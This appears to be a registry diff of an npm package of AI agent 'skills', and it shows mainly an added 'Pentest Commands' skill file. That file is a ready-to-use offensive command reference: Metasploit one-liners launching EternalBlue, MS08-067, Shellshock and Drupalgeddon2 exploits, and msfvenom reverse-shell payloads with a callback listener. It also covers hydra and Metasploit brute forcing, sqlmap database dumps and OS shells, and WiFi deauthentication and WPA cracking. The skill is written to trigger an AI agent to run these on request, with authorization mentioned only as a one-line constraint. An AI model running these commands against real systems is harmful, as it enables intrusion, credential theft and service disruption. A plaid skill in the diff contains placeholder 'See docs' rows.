@namch/agent-assistant 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +114 -522
- package/agents/backend-engineer.md +0 -8
- package/agents/brainstormer.md +0 -6
- package/agents/business-analyst.md +0 -5
- package/agents/database-architect.md +0 -6
- package/agents/debugger.md +0 -6
- package/agents/designer.md +0 -5
- package/agents/devops-engineer.md +0 -7
- package/agents/docs-manager.md +0 -6
- package/agents/frontend-engineer.md +0 -7
- package/agents/game-engineer.md +0 -7
- package/agents/mobile-engineer.md +0 -7
- package/agents/performance-engineer.md +0 -7
- package/agents/planner.md +0 -6
- package/agents/project-manager.md +0 -6
- package/agents/researcher.md +0 -5
- package/agents/reviewer.md +0 -6
- package/agents/scouter.md +0 -6
- package/agents/security-engineer.md +0 -7
- package/agents/tech-lead.md +0 -7
- package/agents/tester.md +0 -5
- package/cli/README.md +19 -10
- package/documents/business/business-features.md +1 -1
- package/documents/business/business-prd.md +4 -4
- package/documents/knowledge-architecture.md +1 -1
- package/documents/knowledge-domain.md +1 -1
- package/documents/knowledge-overview.md +14 -29
- package/documents/knowledge-source-base.md +14 -14
- package/package.json +1 -1
- package/rules/QUICK-REFERENCE.md +4 -1
- package/rules/SKILL-DISCOVERY.md +37 -14
- package/skills/active-directory-attacks/SKILL.md +383 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -0
- package/skills/agent-evaluation/SKILL.md +64 -0
- package/skills/agent-memory-mcp/SKILL.md +82 -0
- package/skills/agent-memory-systems/SKILL.md +67 -0
- package/skills/agent-tool-builder/SKILL.md +53 -0
- package/skills/ai-agents-architect/SKILL.md +90 -0
- package/skills/ai-product/SKILL.md +54 -0
- package/skills/ai-wrapper-product/SKILL.md +273 -0
- package/skills/api-documentation-generator/SKILL.md +484 -0
- package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
- package/skills/api-security-best-practices/SKILL.md +907 -0
- package/skills/autonomous-agent-patterns/SKILL.md +761 -0
- package/skills/autonomous-agents/SKILL.md +68 -0
- package/skills/aws-penetration-testing/SKILL.md +405 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -0
- package/skills/azure-functions/SKILL.md +42 -0
- package/skills/backend-dev-guidelines/SKILL.md +342 -0
- package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
- package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
- package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
- package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
- package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
- package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
- package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
- package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
- package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
- package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
- package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
- package/skills/broken-authentication/SKILL.md +476 -0
- package/skills/bullmq-specialist/SKILL.md +57 -0
- package/skills/bun-development/SKILL.md +691 -0
- package/skills/burp-suite-testing/SKILL.md +380 -0
- package/skills/cloud-penetration-testing/SKILL.md +501 -0
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -0
- package/skills/computer-use-agents/SKILL.md +315 -0
- package/skills/content-creator/SKILL.md +248 -0
- package/skills/content-creator/assets/content_calendar_template.md +99 -0
- package/skills/content-creator/references/brand_guidelines.md +199 -0
- package/skills/content-creator/references/content_frameworks.md +534 -0
- package/skills/content-creator/references/social_media_optimization.md +317 -0
- package/skills/content-creator/scripts/brand_voice_analyzer.py +185 -0
- package/skills/content-creator/scripts/seo_optimizer.py +419 -0
- package/skills/context-window-management/SKILL.md +53 -0
- package/skills/conversation-memory/SKILL.md +61 -0
- package/skills/copy-editing/SKILL.md +439 -0
- package/skills/copywriting/SKILL.md +225 -0
- package/skills/crewai/SKILL.md +243 -0
- package/skills/discord-bot-architect/SKILL.md +277 -0
- package/skills/dispatching-parallel-agents/SKILL.md +180 -0
- package/skills/email-sequence/SKILL.md +925 -0
- package/skills/email-systems/SKILL.md +54 -0
- package/skills/ethical-hacking-methodology/SKILL.md +466 -0
- package/skills/executing-plans/SKILL.md +76 -0
- package/skills/file-path-traversal/SKILL.md +486 -0
- package/skills/finishing-a-development-branch/SKILL.md +200 -0
- package/skills/frontend-dev-guidelines/SKILL.md +359 -0
- package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
- package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
- package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
- package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
- package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
- package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
- package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
- package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
- package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
- package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
- package/skills/gcp-cloud-run/SKILL.md +288 -0
- package/skills/git-pushing/SKILL.md +33 -0
- package/skills/git-pushing/scripts/smart_commit.sh +19 -0
- package/skills/github-workflow-automation/SKILL.md +846 -0
- package/skills/html-injection-testing/SKILL.md +498 -0
- package/skills/idor-testing/SKILL.md +442 -0
- package/skills/inngest/SKILL.md +55 -0
- package/skills/javascript-mastery/SKILL.md +645 -0
- package/skills/kaizen/SKILL.md +730 -0
- package/skills/langfuse/SKILL.md +238 -0
- package/skills/langgraph/SKILL.md +287 -0
- package/skills/linux-privilege-escalation/SKILL.md +504 -0
- package/skills/llm-app-patterns/SKILL.md +760 -0
- package/skills/metasploit-framework/SKILL.md +478 -0
- package/skills/multi-agent-brainstorming/SKILL.md +256 -0
- package/skills/neon-postgres/SKILL.md +56 -0
- package/skills/nextjs-supabase-auth/SKILL.md +56 -0
- package/skills/nosql-expert/SKILL.md +111 -0
- package/skills/pentest-checklist/SKILL.md +334 -0
- package/skills/pentest-commands/SKILL.md +438 -0
- package/skills/plaid-fintech/SKILL.md +50 -0
- package/skills/planning-with-files/SKILL.md +211 -0
- package/skills/planning-with-files/examples.md +202 -0
- package/skills/planning-with-files/reference.md +218 -0
- package/skills/planning-with-files/scripts/check-complete.sh +44 -0
- package/skills/planning-with-files/scripts/init-session.sh +120 -0
- package/skills/planning-with-files/templates/findings.md +95 -0
- package/skills/planning-with-files/templates/progress.md +114 -0
- package/skills/planning-with-files/templates/task_plan.md +132 -0
- package/skills/privilege-escalation-methods/SKILL.md +333 -0
- package/skills/production-code-audit/SKILL.md +540 -0
- package/skills/prompt-caching/SKILL.md +61 -0
- package/skills/prompt-engineering/SKILL.md +171 -0
- package/skills/prompt-library/SKILL.md +322 -0
- package/skills/rag-engineer/SKILL.md +90 -0
- package/skills/rag-implementation/SKILL.md +63 -0
- package/skills/react-ui-patterns/SKILL.md +289 -0
- package/skills/red-team-tools/SKILL.md +310 -0
- package/skills/scanning-tools/SKILL.md +589 -0
- package/skills/shodan-reconnaissance/SKILL.md +503 -0
- package/skills/slack-bot-builder/SKILL.md +264 -0
- package/skills/smtp-penetration-testing/SKILL.md +500 -0
- package/skills/social-content/SKILL.md +807 -0
- package/skills/software-architecture/SKILL.md +75 -0
- package/skills/sql-injection-testing/SKILL.md +448 -0
- package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
- package/skills/ssh-penetration-testing/SKILL.md +488 -0
- package/skills/stripe-integration/SKILL.md +69 -0
- package/skills/subagent-driven-development/SKILL.md +240 -0
- package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +20 -0
- package/skills/subagent-driven-development/implementer-prompt.md +78 -0
- package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
- package/skills/tavily-web/SKILL.md +36 -0
- package/skills/telegram-bot-builder/SKILL.md +254 -0
- package/skills/test-driven-development/SKILL.md +371 -0
- package/skills/test-driven-development/testing-anti-patterns.md +299 -0
- package/skills/test-fixing/SKILL.md +119 -0
- package/skills/top-web-vulnerabilities/SKILL.md +543 -0
- package/skills/trigger-dev/SKILL.md +67 -0
- package/skills/twilio-communications/SKILL.md +295 -0
- package/skills/upstash-qstash/SKILL.md +68 -0
- package/skills/verification-before-completion/SKILL.md +139 -0
- package/skills/voice-agents/SKILL.md +68 -0
- package/skills/voice-ai-development/SKILL.md +302 -0
- package/skills/windows-privilege-escalation/SKILL.md +496 -0
- package/skills/wireshark-analysis/SKILL.md +497 -0
- package/skills/wordpress-penetration-testing/SKILL.md +485 -0
- package/skills/workflow-automation/SKILL.md +68 -0
- package/skills/xss-html-injection/SKILL.md +499 -0
- package/skills/zapier-make-patterns/SKILL.md +67 -0
|
@@ -0,0 +1,438 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: Pentest Commands
|
|
3
|
+
description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
|
|
4
|
+
metadata:
|
|
5
|
+
author: zebbern
|
|
6
|
+
version: "1.1"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# Pentest Commands
|
|
10
|
+
|
|
11
|
+
## Purpose
|
|
12
|
+
|
|
13
|
+
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
|
|
14
|
+
|
|
15
|
+
## Inputs/Prerequisites
|
|
16
|
+
|
|
17
|
+
- Kali Linux or penetration testing distribution
|
|
18
|
+
- Target IP addresses with authorization
|
|
19
|
+
- Wordlists for brute forcing
|
|
20
|
+
- Network access to target systems
|
|
21
|
+
- Basic understanding of tool syntax
|
|
22
|
+
|
|
23
|
+
## Outputs/Deliverables
|
|
24
|
+
|
|
25
|
+
- Network enumeration results
|
|
26
|
+
- Identified vulnerabilities
|
|
27
|
+
- Exploitation payloads
|
|
28
|
+
- Cracked credentials
|
|
29
|
+
- Web vulnerability findings
|
|
30
|
+
|
|
31
|
+
## Core Workflow
|
|
32
|
+
|
|
33
|
+
### 1. Nmap Commands
|
|
34
|
+
|
|
35
|
+
**Host Discovery:**
|
|
36
|
+
|
|
37
|
+
```bash
|
|
38
|
+
# Ping sweep
|
|
39
|
+
nmap -sP 192.168.1.0/24
|
|
40
|
+
|
|
41
|
+
# List IPs without scanning
|
|
42
|
+
nmap -sL 192.168.1.0/24
|
|
43
|
+
|
|
44
|
+
# Ping scan (host discovery)
|
|
45
|
+
nmap -sn 192.168.1.0/24
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Port Scanning:**
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
# TCP SYN scan (stealth)
|
|
52
|
+
nmap -sS 192.168.1.1
|
|
53
|
+
|
|
54
|
+
# Full TCP connect scan
|
|
55
|
+
nmap -sT 192.168.1.1
|
|
56
|
+
|
|
57
|
+
# UDP scan
|
|
58
|
+
nmap -sU 192.168.1.1
|
|
59
|
+
|
|
60
|
+
# All ports (1-65535)
|
|
61
|
+
nmap -p- 192.168.1.1
|
|
62
|
+
|
|
63
|
+
# Specific ports
|
|
64
|
+
nmap -p 22,80,443 192.168.1.1
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
**Service Detection:**
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
# Service versions
|
|
71
|
+
nmap -sV 192.168.1.1
|
|
72
|
+
|
|
73
|
+
# OS detection
|
|
74
|
+
nmap -O 192.168.1.1
|
|
75
|
+
|
|
76
|
+
# Comprehensive scan
|
|
77
|
+
nmap -A 192.168.1.1
|
|
78
|
+
|
|
79
|
+
# Skip host discovery
|
|
80
|
+
nmap -Pn 192.168.1.1
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
**NSE Scripts:**
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
# Vulnerability scan
|
|
87
|
+
nmap --script vuln 192.168.1.1
|
|
88
|
+
|
|
89
|
+
# SMB enumeration
|
|
90
|
+
nmap --script smb-enum-shares -p 445 192.168.1.1
|
|
91
|
+
|
|
92
|
+
# HTTP enumeration
|
|
93
|
+
nmap --script http-enum -p 80 192.168.1.1
|
|
94
|
+
|
|
95
|
+
# Check EternalBlue
|
|
96
|
+
nmap --script smb-vuln-ms17-010 192.168.1.1
|
|
97
|
+
|
|
98
|
+
# Check MS08-067
|
|
99
|
+
nmap --script smb-vuln-ms08-067 192.168.1.1
|
|
100
|
+
|
|
101
|
+
# SSH brute force
|
|
102
|
+
nmap --script ssh-brute -p 22 192.168.1.1
|
|
103
|
+
|
|
104
|
+
# FTP anonymous
|
|
105
|
+
nmap --script ftp-anon 192.168.1.1
|
|
106
|
+
|
|
107
|
+
# DNS brute force
|
|
108
|
+
nmap --script dns-brute 192.168.1.1
|
|
109
|
+
|
|
110
|
+
# HTTP methods
|
|
111
|
+
nmap -p80 --script http-methods 192.168.1.1
|
|
112
|
+
|
|
113
|
+
# HTTP headers
|
|
114
|
+
nmap -p80 --script http-headers 192.168.1.1
|
|
115
|
+
|
|
116
|
+
# SQL injection check
|
|
117
|
+
nmap --script http-sql-injection -p 80 192.168.1.1
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
**Advanced Scans:**
|
|
121
|
+
|
|
122
|
+
```bash
|
|
123
|
+
# Xmas scan
|
|
124
|
+
nmap -sX 192.168.1.1
|
|
125
|
+
|
|
126
|
+
# ACK scan (firewall detection)
|
|
127
|
+
nmap -sA 192.168.1.1
|
|
128
|
+
|
|
129
|
+
# Window scan
|
|
130
|
+
nmap -sW 192.168.1.1
|
|
131
|
+
|
|
132
|
+
# Traceroute
|
|
133
|
+
nmap --traceroute 192.168.1.1
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
### 2. Metasploit Commands
|
|
137
|
+
|
|
138
|
+
**Basic Usage:**
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
# Launch Metasploit
|
|
142
|
+
msfconsole
|
|
143
|
+
|
|
144
|
+
# Search for exploits
|
|
145
|
+
search type:exploit name:smb
|
|
146
|
+
|
|
147
|
+
# Use exploit
|
|
148
|
+
use exploit/windows/smb/ms17_010_eternalblue
|
|
149
|
+
|
|
150
|
+
# Show options
|
|
151
|
+
show options
|
|
152
|
+
|
|
153
|
+
# Set target
|
|
154
|
+
set RHOST 192.168.1.1
|
|
155
|
+
|
|
156
|
+
# Set payload
|
|
157
|
+
set PAYLOAD windows/meterpreter/reverse_tcp
|
|
158
|
+
|
|
159
|
+
# Run exploit
|
|
160
|
+
exploit
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
**Common Exploits:**
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# EternalBlue
|
|
167
|
+
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
|
|
168
|
+
|
|
169
|
+
# MS08-067 (Conficker)
|
|
170
|
+
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
|
|
171
|
+
|
|
172
|
+
# vsftpd backdoor
|
|
173
|
+
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
|
|
174
|
+
|
|
175
|
+
# Shellshock
|
|
176
|
+
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
|
|
177
|
+
|
|
178
|
+
# Drupalgeddon2
|
|
179
|
+
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
|
|
180
|
+
|
|
181
|
+
# PSExec
|
|
182
|
+
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
**Scanners:**
|
|
186
|
+
|
|
187
|
+
```bash
|
|
188
|
+
# TCP port scan
|
|
189
|
+
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
|
|
190
|
+
|
|
191
|
+
# SMB version scan
|
|
192
|
+
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
|
|
193
|
+
|
|
194
|
+
# SMB share enumeration
|
|
195
|
+
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
|
|
196
|
+
|
|
197
|
+
# SSH brute force
|
|
198
|
+
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
|
|
199
|
+
|
|
200
|
+
# FTP brute force
|
|
201
|
+
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
|
|
202
|
+
|
|
203
|
+
# RDP scanning
|
|
204
|
+
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
**Handler Setup:**
|
|
208
|
+
|
|
209
|
+
```bash
|
|
210
|
+
# Multi-handler for reverse shells
|
|
211
|
+
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
**Payload Generation (msfvenom):**
|
|
215
|
+
|
|
216
|
+
```bash
|
|
217
|
+
# Windows reverse shell
|
|
218
|
+
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
|
|
219
|
+
|
|
220
|
+
# Linux reverse shell
|
|
221
|
+
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
|
|
222
|
+
|
|
223
|
+
# PHP reverse shell
|
|
224
|
+
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
|
|
225
|
+
|
|
226
|
+
# ASP reverse shell
|
|
227
|
+
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
|
|
228
|
+
|
|
229
|
+
# WAR file
|
|
230
|
+
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
|
|
231
|
+
|
|
232
|
+
# Python payload
|
|
233
|
+
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
### 3. Nikto Commands
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Basic scan
|
|
240
|
+
nikto -h http://192.168.1.1
|
|
241
|
+
|
|
242
|
+
# Comprehensive scan
|
|
243
|
+
nikto -h http://192.168.1.1 -C all
|
|
244
|
+
|
|
245
|
+
# Output to file
|
|
246
|
+
nikto -h http://192.168.1.1 -output report.html
|
|
247
|
+
|
|
248
|
+
# Plugin-based scans
|
|
249
|
+
nikto -h http://192.168.1.1 -Plugins robots
|
|
250
|
+
nikto -h http://192.168.1.1 -Plugins shellshock
|
|
251
|
+
nikto -h http://192.168.1.1 -Plugins heartbleed
|
|
252
|
+
nikto -h http://192.168.1.1 -Plugins ssl
|
|
253
|
+
|
|
254
|
+
# Export to Metasploit
|
|
255
|
+
nikto -h http://192.168.1.1 -Format msf+
|
|
256
|
+
|
|
257
|
+
# Specific tuning
|
|
258
|
+
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
### 4. SQLMap Commands
|
|
262
|
+
|
|
263
|
+
```bash
|
|
264
|
+
# Basic injection test
|
|
265
|
+
sqlmap -u "http://192.168.1.1/page?id=1"
|
|
266
|
+
|
|
267
|
+
# Enumerate databases
|
|
268
|
+
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
|
|
269
|
+
|
|
270
|
+
# Enumerate tables
|
|
271
|
+
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
|
|
272
|
+
|
|
273
|
+
# Dump table
|
|
274
|
+
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
|
|
275
|
+
|
|
276
|
+
# OS shell
|
|
277
|
+
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
|
|
278
|
+
|
|
279
|
+
# POST request
|
|
280
|
+
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
|
|
281
|
+
|
|
282
|
+
# Cookie injection
|
|
283
|
+
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
|
|
284
|
+
|
|
285
|
+
# Bypass WAF
|
|
286
|
+
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
|
|
287
|
+
|
|
288
|
+
# Risk and level
|
|
289
|
+
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
### 5. Hydra Commands
|
|
293
|
+
|
|
294
|
+
```bash
|
|
295
|
+
# SSH brute force
|
|
296
|
+
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
|
|
297
|
+
|
|
298
|
+
# FTP brute force
|
|
299
|
+
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
|
|
300
|
+
|
|
301
|
+
# HTTP POST form
|
|
302
|
+
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
|
|
303
|
+
|
|
304
|
+
# HTTP Basic Auth
|
|
305
|
+
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
|
|
306
|
+
|
|
307
|
+
# SMB brute force
|
|
308
|
+
hydra -l admin -P passwords.txt smb://192.168.1.1
|
|
309
|
+
|
|
310
|
+
# RDP brute force
|
|
311
|
+
hydra -l admin -P passwords.txt rdp://192.168.1.1
|
|
312
|
+
|
|
313
|
+
# MySQL brute force
|
|
314
|
+
hydra -l root -P passwords.txt mysql://192.168.1.1
|
|
315
|
+
|
|
316
|
+
# Username list
|
|
317
|
+
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
### 6. John the Ripper Commands
|
|
321
|
+
|
|
322
|
+
```bash
|
|
323
|
+
# Crack password file
|
|
324
|
+
john hash.txt
|
|
325
|
+
|
|
326
|
+
# Specify wordlist
|
|
327
|
+
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
|
328
|
+
|
|
329
|
+
# Show cracked passwords
|
|
330
|
+
john hash.txt --show
|
|
331
|
+
|
|
332
|
+
# Specify format
|
|
333
|
+
john hash.txt --format=raw-md5
|
|
334
|
+
john hash.txt --format=nt
|
|
335
|
+
john hash.txt --format=sha512crypt
|
|
336
|
+
|
|
337
|
+
# SSH key passphrase
|
|
338
|
+
ssh2john id_rsa > ssh_hash.txt
|
|
339
|
+
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
|
340
|
+
|
|
341
|
+
# ZIP password
|
|
342
|
+
zip2john file.zip > zip_hash.txt
|
|
343
|
+
john zip_hash.txt
|
|
344
|
+
```
|
|
345
|
+
|
|
346
|
+
### 7. Aircrack-ng Commands
|
|
347
|
+
|
|
348
|
+
```bash
|
|
349
|
+
# Monitor mode
|
|
350
|
+
airmon-ng start wlan0
|
|
351
|
+
|
|
352
|
+
# Capture packets
|
|
353
|
+
airodump-ng wlan0mon
|
|
354
|
+
|
|
355
|
+
# Target specific network
|
|
356
|
+
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
|
|
357
|
+
|
|
358
|
+
# Deauth attack
|
|
359
|
+
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
|
|
360
|
+
|
|
361
|
+
# Crack WPA handshake
|
|
362
|
+
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
|
|
363
|
+
```
|
|
364
|
+
|
|
365
|
+
### 8. Wireshark/Tshark Commands
|
|
366
|
+
|
|
367
|
+
```bash
|
|
368
|
+
# Capture traffic
|
|
369
|
+
tshark -i eth0 -w capture.pcap
|
|
370
|
+
|
|
371
|
+
# Read capture file
|
|
372
|
+
tshark -r capture.pcap
|
|
373
|
+
|
|
374
|
+
# Filter by protocol
|
|
375
|
+
tshark -r capture.pcap -Y "http"
|
|
376
|
+
|
|
377
|
+
# Filter by IP
|
|
378
|
+
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
|
|
379
|
+
|
|
380
|
+
# Extract HTTP data
|
|
381
|
+
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
|
|
382
|
+
```
|
|
383
|
+
|
|
384
|
+
## Quick Reference
|
|
385
|
+
|
|
386
|
+
### Common Port Scans
|
|
387
|
+
|
|
388
|
+
```bash
|
|
389
|
+
# Quick scan
|
|
390
|
+
nmap -F 192.168.1.1
|
|
391
|
+
|
|
392
|
+
# Full comprehensive
|
|
393
|
+
nmap -sV -sC -A -p- 192.168.1.1
|
|
394
|
+
|
|
395
|
+
# Fast with version
|
|
396
|
+
nmap -sV -T4 192.168.1.1
|
|
397
|
+
```
|
|
398
|
+
|
|
399
|
+
### Password Hash Types
|
|
400
|
+
|
|
401
|
+
| Mode | Type |
|
|
402
|
+
|------|------|
|
|
403
|
+
| 0 | MD5 |
|
|
404
|
+
| 100 | SHA1 |
|
|
405
|
+
| 1000 | NTLM |
|
|
406
|
+
| 1800 | sha512crypt |
|
|
407
|
+
| 3200 | bcrypt |
|
|
408
|
+
| 13100 | Kerberoast |
|
|
409
|
+
|
|
410
|
+
## Constraints
|
|
411
|
+
|
|
412
|
+
- Always have written authorization
|
|
413
|
+
- Some scans are noisy and detectable
|
|
414
|
+
- Brute forcing may lock accounts
|
|
415
|
+
- Rate limiting affects tools
|
|
416
|
+
|
|
417
|
+
## Examples
|
|
418
|
+
|
|
419
|
+
### Example 1: Quick Vulnerability Scan
|
|
420
|
+
|
|
421
|
+
```bash
|
|
422
|
+
nmap -sV --script vuln 192.168.1.1
|
|
423
|
+
```
|
|
424
|
+
|
|
425
|
+
### Example 2: Web App Test
|
|
426
|
+
|
|
427
|
+
```bash
|
|
428
|
+
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
|
|
429
|
+
```
|
|
430
|
+
|
|
431
|
+
## Troubleshooting
|
|
432
|
+
|
|
433
|
+
| Issue | Solution |
|
|
434
|
+
|-------|----------|
|
|
435
|
+
| Scan too slow | Increase timing (-T4, -T5) |
|
|
436
|
+
| Ports filtered | Try different scan types |
|
|
437
|
+
| Exploit fails | Check target version compatibility |
|
|
438
|
+
| Passwords not cracking | Try larger wordlists, rules |
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: plaid-fintech
|
|
3
|
+
description: "Expert patterns for Plaid API integration including Link token flows, transactions sync, identity verification, Auth for ACH, balance checks, webhook handling, and fintech compliance best practices. Use when: plaid, bank account linking, bank connection, ach, account aggregation."
|
|
4
|
+
source: vibeship-spawner-skills (Apache 2.0)
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# Plaid Fintech
|
|
8
|
+
|
|
9
|
+
## Patterns
|
|
10
|
+
|
|
11
|
+
### Link Token Creation and Exchange
|
|
12
|
+
|
|
13
|
+
Create a link_token for Plaid Link, exchange public_token for access_token.
|
|
14
|
+
Link tokens are short-lived, one-time use. Access tokens don't expire but
|
|
15
|
+
may need updating when users change passwords.
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
### Transactions Sync
|
|
19
|
+
|
|
20
|
+
Use /transactions/sync for incremental transaction updates. More efficient
|
|
21
|
+
than /transactions/get. Handle webhooks for real-time updates instead of
|
|
22
|
+
polling.
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
### Item Error Handling and Update Mode
|
|
26
|
+
|
|
27
|
+
Handle ITEM_LOGIN_REQUIRED errors by putting users through Link update mode.
|
|
28
|
+
Listen for PENDING_DISCONNECT webhook to proactively prompt users.
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
## Anti-Patterns
|
|
32
|
+
|
|
33
|
+
### ❌ Storing Access Tokens in Plain Text
|
|
34
|
+
|
|
35
|
+
### ❌ Polling Instead of Webhooks
|
|
36
|
+
|
|
37
|
+
### ❌ Ignoring Item Errors
|
|
38
|
+
|
|
39
|
+
## ⚠️ Sharp Edges
|
|
40
|
+
|
|
41
|
+
| Issue | Severity | Solution |
|
|
42
|
+
|-------|----------|----------|
|
|
43
|
+
| Issue | critical | See docs |
|
|
44
|
+
| Issue | high | See docs |
|
|
45
|
+
| Issue | high | See docs |
|
|
46
|
+
| Issue | high | See docs |
|
|
47
|
+
| Issue | medium | See docs |
|
|
48
|
+
| Issue | medium | See docs |
|
|
49
|
+
| Issue | medium | See docs |
|
|
50
|
+
| Issue | medium | See docs |
|
|
@@ -0,0 +1,211 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: planning-with-files
|
|
3
|
+
version: "2.1.2"
|
|
4
|
+
description: Implements Manus-style file-based planning for complex tasks. Creates task_plan.md, findings.md, and progress.md. Use when starting complex multi-step tasks, research projects, or any task requiring >5 tool calls.
|
|
5
|
+
user-invocable: true
|
|
6
|
+
allowed-tools:
|
|
7
|
+
- Read
|
|
8
|
+
- Write
|
|
9
|
+
- Edit
|
|
10
|
+
- Bash
|
|
11
|
+
